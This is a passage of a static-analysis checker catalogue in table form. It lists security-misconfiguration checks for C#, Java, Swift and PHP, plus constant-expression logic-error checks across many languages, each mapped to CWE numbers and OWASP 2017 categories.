| CONFIG.ASP_VIEWSTATE_MAC | Disabled View State MAC generation | Low impact security | C# | In .NET 4.5.1 and earlier, disabling View State Machine Authentication Code (MAC) generation potentially allows an attacker to upload and execute arbitrary code on the web server. | Low | Security | 519 | 10, 16, 519, 635, 699, 711, 731, 928, 933, 1003, 1026, 1028, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.ATS_INSECURE | Insecure ATS configuration | Medium impact security | Swift | Insecure connections will not be blocked by App Transport Security (ATS), allowing for potential man-in-the-middle attacks. | Medium | Security | 319 | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| CONFIG.CONNECTION_STRING_PASSWORD | Unencrypted connection string password | Low impact security | C# | Unencrypted passwords in configuration files leak credentials to anyone with access to the file. These are often targeted by attackers. | Low | Security | 13 | 2, 10, 13, 16, 17, 18, 254, 255, 259, 260, 264, 284, 287, 330, 344, 361, 519, 522, 629, 632, 635, 657, 664, 668, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 895, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 950, 963, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.COOKIES_MISSING_HTTPONLY | Missing HttpOnly in cookies | Low impact security | C# | By enabling the HttpOnly attribute in the response header, modern browsers will disallow script access to cookie data. The cookie is still sent when the user visits a valid address, but any malicious code will be unable to transmit the cookie data back to the attacker's computer or web site. | Low | Security | 200 | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.DEAD_AUTHORIZATION_RULE | Dead Allow Rule | Low impact security | C# | An allow rule is unreachable after one or more conflicting deny rules. | Low | Security | 863 | 16, 17, 18, 254, 264, 284, 285, 361, 519, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.DEAD_AUTHORIZATION_RULE | Dead Deny Rule | Medium impact security | C# | A deny rule is unreachable after one or more conflicting allow rules. | Medium | Security | 863 | 16, 17, 18, 254, 264, 284, 285, 361, 519, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.DUPLICATE_SERVLET_DEFINITION | Duplicate servlet name | Low impact security | Java | The container will only deploy the last servlet with this name. | Low | Security | 4 | 4, 16, 635, 699, 711, 731, 928, 933, 1003, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.DWR_DEBUG_MODE | DWR debug mode enabled | Low impact security | Java | DWR debug mode exposes internal information through /dwr/index.html page. | Low | Security | 863 | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Dynamic data in HTML comment | Low impact security | C# | A user can obtain potentially sensitive information leaked through HTML comments. | Low | Security | 615 | 17, 18, 19, 199, 200, 361, 538, 540, 552, 615, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 868, 877, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Dynamic data in HTML comment | Low impact security | Java | A user can obtain potentially sensitive information leaked through HTML comments. | Low | Security | 615 | 17, 18, 19, 199, 200, 361, 538, 540, 552, 615, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 868, 877, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Dynamic data in HTML comment | Low impact security | Visual Basic | A user can obtain potentially sensitive information leaked through HTML comments. | Low | Security | 615 | 17, 18, 19, 199, 200, 361, 538, 540, 552, 615, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 868, 877, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| CONFIG.ENABLED_DEBUG_MODE | Debug mode enabled | Low impact security | C# | Debug binaries will give detailed debugging messages which may expose sensitive server variables or configuration. | Low | Security | 11 | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.ENABLED_TRACE_MODE | Trace mode enabled | Low impact security | C# | Trace information will be displayed whenever the page is rendered which may expose sensitive server variables or configuration. | Low | Security | 11 | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.HANA_XS_PREVENT_XSRF_DISABLED | XSRF prevention disabled | Medium impact security | JavaScript | Application request handlers that execute actions or update state may be hijacked to perform activities without the user's knowledge or authorization. | Medium | Security | 352 | 16, 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 933, 936, 949, 975, 1000, 1003, 1008, 1014, 1019, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.HTTP_VERB_TAMPERING | HTTP Verb Tampering | Medium impact security | Java | The security constraint defined in the deployment descriptor can be bypassed by changing the HTTP method. | Medium | Security | 650 | 2, 4, 16, 227, 435, 436, 438, 635, 650, 699, 700, 710, 711, 731, 887, 888, 899, 902, 907, 928, 933, 945, 957, 978, 1000, 1001, 1003, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.JAVAEE_MISSING_HTTPONLY | Missing HttpOnly in session cookie | Low impact security | Java | Session cookies are exposed to cross-site scripting attacks. | Low | Security | 200 | 4, 16, 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.MISSING_CUSTOM_ERROR_PAGE | Missing custom error page | Low impact security | C# | The default error page leaks sensitive information to potential attackers, including server details, exception messages, a stack trace, and source code. | Low | Security | 12 | 2, 10, 12, 16, 17, 18, 388, 389, 519, 635, 699, 700, 703, 711, 728, 731, 755, 756, 844, 851, 868, 876, 880, 884, 888, 889, 895, 928, 933, 961, 962, 963, 1000, 1003, 1008, 1012, 1020, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER | Missing global exception handler | Low impact security | Java | An unexpected error can result in a stack trace being sent to the user, leaking application information. | Low | Security | 7 | 2, 4, 7, 16, 17, 18, 388, 389, 635, 699, 700, 703, 711, 728, 731, 755, 756, 844, 851, 868, 876, 880, 884, 888, 889, 895, 928, 933, 961, 962, 963, 1000, 1003, 1008, 1012, 1020, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT | Missing Facelet security constraint | Low impact security | Java | Facelet source code can be disclosed to unauthorized users. | Low | Security | 425 | 4, 16, 17, 18, 254, 264, 284, 285, 287, 288, 361, 417, 424, 425, 442, 592, 629, 632, 635, 638, 657, 664, 693, 699, 700, 710, 711, 718, 721, 722, 723, 724, 731, 750, 753, 800, 803, 809, 812, 813, 817, 840, 862, 866, 884, 888, 892, 894, 898, 899, 900, 907, 928, 930, 933, 935, 944, 945, 947, 953, 975, 978, 984, 988, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.SPRING_SECURITY_DEBUG_MODE | Spring Security debug mode enabled | Low impact security | Java | The debug mode logs sensitive authentication information, which can be disclosed to unauthorized users. | Low | Security | 863 | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS | Spring Security authorize JSP tags are disabled | Low impact security | Java | View-based authorization checks are explicitly disabled, potentially disclosing content to unauthorized users. | Low | Security | 731 | 4, 16, 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 862, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Spring Security hardcoded credentials | Low impact security | Java | Hardcoded credentials may be accessible to unauthorized users and difficult to quickly change. | Low | Security | 798 | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Spring Security hardcoded remember-me key | Low impact security | Java | Hardcoded credentials may be accessible to unauthorized users and difficult to quickly change. | Low | Security | 798 | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.SPRING_SECURITY_SESSION_FIXATION | Spring Security session fixation | Medium impact security | Java | Users may be vulnerable to session fixation attacks. | Medium | Security | 384 | 4, 16, 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 731, 809, 812, 888, 892, 898, 899, 907, 928, 930, 933, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | |
| CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN | Struts2 config-browser plugin | Low impact security | Java | Action mappings and configuration information are available to any user. | Low | Security | 862 | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 862, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION | Struts2 DynamicMethodInvocation allowed | Low impact security | Java | Any public, zero-argument method can be called on a Action class or any of its super classes, including Object. | Low | Security | 863 | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.STRUTS2_ENABLED_DEV_MODE | Struts2 DevMode enabled | Medium impact security | Java | The application discloses sensitive debugging and logging information to potentially unauthorized users. | Medium | Security | 863 | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | owasp-web-2017-A5: Broken Access Control, owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED | CSRF protection disabled | Medium impact security | PHP | Symfony will not protect your application from CSRF attacks. Unless you implement your own CSRF protection, an attacker may cause your controllers to update application state or perform activities using a user's session without the user's knowledge or authorization. These attacks are difficult to distinguish from legitimate requests. | Medium | Security | 352 | 16, 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 933, 936, 949, 975, 1000, 1003, 1008, 1014, 1019, 1026, 1032 | owasp-web-2017-A6: Security Misconfiguration | ✓ |
| CONFIG.UNSAFE_SESSION_TIMEOUT | Unsafe session timeout | Low impact security | Java | The session-timeout tag value is -1, which means that a session will never expire. Session-based attacks require an active session, and insufficient expiration unnecessarily prolongs the time window where an attacker can hijack a session. | Low | Security | 613 | 4, 16, 17, 18, 361, 613, 635, 664, 666, 672, 699, 700, 711, 724, 731, 800, 808, 840, 884, 888, 892, 898, 928, 930, 933, 951, 983, 984, 1000, 1003, 1008, 1018, 1026, 1028, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A6: Security Misconfiguration | |
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | C/C++ | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | C# | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Java | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | JavaScript | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Objective-C/C++ | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | PHP | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Python | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Ruby | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Scala | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Bitwise-and with zero | Integer handling issues | Swift | The expression's value is always zero; construct may indicate an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Extra high-order bits | Integer handling issues | C/C++ | An operation that disregards the high-order bits may lead to incorrect value to be used in a logical computation. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Extra high-order bits | Integer handling issues | C# | An operation that disregards the high-order bits may lead to incorrect value to be used in a logical computation. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Extra high-order bits | Integer handling issues | Java | An operation that disregards the high-order bits may lead to incorrect value to be used in a logical computation. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Extra high-order bits | Integer handling issues | Objective-C/C++ | An operation that disregards the high-order bits may lead to incorrect value to be used in a logical computation. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | C/C++ | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | C# | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | Java | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | JavaScript | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | Objective-C/C++ | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | PHP | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | Python | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | Ruby | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Logical vs. bitwise operator | Integer handling issues | Scala | The expression's value does not depend on the operands; inadvertent use of the wrong operator is a likely logic error. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | C/C++ | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | C# | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | Java | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | JavaScript | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | Objective-C/C++ | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | PHP | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | Python | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | Ruby | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Missing parentheses | Incorrect expression | Scala | This is a result of a common misunderstanding of operator precedence. The incorrect expression can result in logical errors. | Medium | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | C/C++ | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | C# | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Java | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | JavaScript | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Objective-C/C++ | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | PHP | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Python | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Ruby | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Scala | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Constant expression result | Integer handling issues | Swift | The expression's value does not depend on the operands; often, this represents an inadvertent logic error. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Number used as truth value | Integer handling issues | Ruby | In the source language, a numerical expression used as a truth value always evaluates to true; either a comparison operation is missing or the conditional can be removed. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | C/C++ | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| CONSTANT_EXPRESSION_RESULT | Wrong operator used | Integer handling issues | C# | Inadvertent use of the wrong operator results in a likely logic error. Common interchanges include bit-or and bit-and, left-shift and right-shift. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
